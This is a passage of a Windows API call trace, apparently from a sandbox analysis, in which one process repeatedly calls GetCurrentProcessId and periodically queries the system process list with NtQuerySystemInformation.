0xbf4 [0278.206] GetCurrentProcessId () returned 0xbf4 [0278.206] GetCurrentProcessId () returned 0xbf4 [0278.206] GetCurrentProcessId () returned 0xbf4 [0278.206] GetCurrentProcessId () returned 0xbf4 [0278.206] GetCurrentProcessId () returned 0xbf4 [0278.206] GetCurrentProcessId () returned 0xbf4 [0278.206] GetCurrentProcessId () returned 0xbf4 [0278.206] GetCurrentProcessId () returned 0xbf4 [0278.206] GetCurrentProcessId () returned 0xbf4 [0278.745] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.752] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.753] GetCurrentProcessId () returned 0xbf4 [0278.754] GetCurrentProcessId () returned 0xbf4 [0278.754] GetCurrentProcessId () returned 0xbf4 [0278.754] GetCurrentProcessId () returned 0xbf4 [0278.754] GetCurrentProcessId () returned 0xbf4 [0278.754] GetCurrentProcessId () returned 0xbf4 [0278.754] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.755] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.756] GetCurrentProcessId () returned 0xbf4 [0278.757] GetCurrentProcessId () returned 0xbf4 [0278.757] GetCurrentProcessId () returned 0xbf4 [0278.757] GetCurrentProcessId () returned 0xbf4 [0278.757] GetCurrentProcessId () returned 0xbf4 [0279.333] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0279.339] GetCurrentProcessId () returned 0xbf4 [0279.339] GetCurrentProcessId () returned 0xbf4 [0279.339] GetCurrentProcessId () returned 0xbf4 [0279.339] GetCurrentProcessId () returned 0xbf4 [0279.339] GetCurrentProcessId () returned 0xbf4 [0279.339] GetCurrentProcessId () returned 0xbf4 [0279.339] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.340] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.341] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.342] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0279.343] GetCurrentProcessId () returned 0xbf4 [0280.004] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.027] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.028] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.029] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.030] GetCurrentProcessId () returned 0xbf4 [0280.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.602] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.603] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.604] GetCurrentProcessId () returned 0xbf4 [0280.605] GetCurrentProcessId () returned 0xbf4 [0280.605] GetCurrentProcessId () returned 0xbf4 [0280.605] GetCurrentProcessId () returned 0xbf4 [0280.605] GetCurrentProcessId () returned 0xbf4 [0280.605] GetCurrentProcessId () returned 0xbf4 [0280.605] GetCurrentProcessId () returned 0xbf4 [0280.605] GetCurrentProcessId () returned 0xbf4 [0280.605] GetCurrentProcessId () returned 0xbf4 [0280.605] GetCurrentProcessId () returned 0xbf4 [0280.605] GetCurrentProcessId () returned 0xbf4 [0280.605] GetCurrentProcessId () returned 0xbf4 [0280.605] GetCurrentProcessId () returned 0xbf4 [0280.605] GetCurrentProcessId () returned 0xbf4 [0280.605] GetCurrentProcessId () returned 0xbf4 [0280.605] GetCurrentProcessId () returned 0xbf4 [0280.605] GetCurrentProcessId () returned 0xbf4 [0280.606] GetCurrentProcessId () returned 0xbf4 [0280.606] GetCurrentProcessId () returned 0xbf4 [0280.606] GetCurrentProcessId () returned 0xbf4 [0280.606] GetCurrentProcessId () returned 0xbf4 [0280.606] GetCurrentProcessId () returned 0xbf4 [0280.606] GetCurrentProcessId () returned 0xbf4 [0280.606] GetCurrentProcessId () returned 0xbf4 [0280.606] GetCurrentProcessId () returned 0xbf4 [0280.606] GetCurrentProcessId () returned 0xbf4 [0280.606] GetCurrentProcessId () returned 0xbf4 [0280.606] GetCurrentProcessId () returned 0xbf4 [0280.606] GetCurrentProcessId () returned 0xbf4 [0280.606] GetCurrentProcessId () returned 0xbf4 [0281.163] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0281.180] GetCurrentProcessId () returned 0xbf4 [0281.180] GetCurrentProcessId () returned 0xbf4 [0281.180] GetCurrentProcessId () returned 0xbf4 [0281.180] GetCurrentProcessId () returned 0xbf4 [0281.180] GetCurrentProcessId () returned 0xbf4 [0281.180] GetCurrentProcessId () returned 0xbf4 [0281.180] GetCurrentProcessId () returned 0xbf4 [0281.180] GetCurrentProcessId () returned 0xbf4 [0281.180] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.181] GetCurrentProcessId () returned 0xbf4 [0281.182] GetCurrentProcessId () returned 0xbf4 [0281.182] GetCurrentProcessId () returned 0xbf4 [0281.182] GetCurrentProcessId () returned 0xbf4 [0281.182] GetCurrentProcessId () returned 0xbf4 [0281.182] GetCurrentProcessId () returned 0xbf4 [0281.182] GetCurrentProcessId () returned 0xbf4 [0281.182] GetCurrentProcessId () returned 0xbf4 [0281.182] GetCurrentProcessId () returned 0xbf4 [0281.182] GetCurrentProcessId () returned 0xbf4 [0281.182] GetCurrentProcessId () returned 0xbf4 [0281.182] GetCurrentProcessId () returned 0xbf4 [0281.182] GetCurrentProcessId () returned 0xbf4 [0281.182] GetCurrentProcessId () returned 0xbf4 [0281.182] GetCurrentProcessId () returned 0xbf4 [0281.182] GetCurrentProcessId () returned 0xbf4 [0281.182] GetCurrentProcessId () returned 0xbf4 [0281.182] GetCurrentProcessId () returned 0xbf4 [0281.183] GetCurrentProcessId () returned 0xbf4 [0281.183] GetCurrentProcessId () returned 0xbf4 [0281.183] GetCurrentProcessId () returned 0xbf4 [0281.183] GetCurrentProcessId () returned 0xbf4 [0281.183] GetCurrentProcessId () returned 0xbf4 [0281.183] GetCurrentProcessId () returned 0xbf4 [0281.183] GetCurrentProcessId () returned 0xbf4 [0281.183] GetCurrentProcessId () returned 0xbf4 [0281.183] GetCurrentProcessId () returned 0xbf4 [0281.183] GetCurrentProcessId () returned 0xbf4 [0281.183] GetCurrentProcessId () returned 0xbf4 [0281.183] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.184] GetCurrentProcessId () returned 0xbf4 [0281.185] GetCurrentProcessId () returned 0xbf4 [0281.185] GetCurrentProcessId () returned 0xbf4 [0281.185] GetCurrentProcessId () returned 0xbf4 [0281.185] GetCurrentProcessId () returned 0xbf4 [0281.185] GetCurrentProcessId () returned 0xbf4 [0281.185] GetCurrentProcessId () returned 0xbf4 [0281.185] GetCurrentProcessId () returned 0xbf4 [0281.185] GetCurrentProcessId () returned 0xbf4 [0281.185] GetCurrentProcessId () returned 0xbf4 [0281.185] GetCurrentProcessId () returned 0xbf4 [0281.185] GetCurrentProcessId () returned 0xbf4 [0281.185] GetCurrentProcessId () returned 0xbf4 [0281.185] GetCurrentProcessId () returned 0xbf4 [0281.185] GetCurrentProcessId () returned 0xbf4 [0281.185] GetCurrentProcessId () returned 0xbf4 [0281.185] GetCurrentProcessId () returned 0xbf4 [0281.185] GetCurrentProcessId () returned 0xbf4 [0281.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c750) returned 0x0 [0281.759] GetCurrentProcessId () returned 0xbf4 [0281.759] GetCurrentProcessId () returned 0xbf4 [0281.759] GetCurrentProcessId () returned 0xbf4 [0281.759] GetCurrentProcessId () returned 0xbf4 [0281.759] GetCurrentProcessId () returned 0xbf4 [0281.759] GetCurrentProcessId () returned 0xbf4 [0281.759] GetCurrentProcessId () returned 0xbf4 [0281.759] GetCurrentProcessId () returned 0xbf4 [0281.759] GetCurrentProcessId () returned 0xbf4 [0281.759] GetCurrentProcessId () returned 0xbf4 [0281.759] GetCurrentProcessId () returned 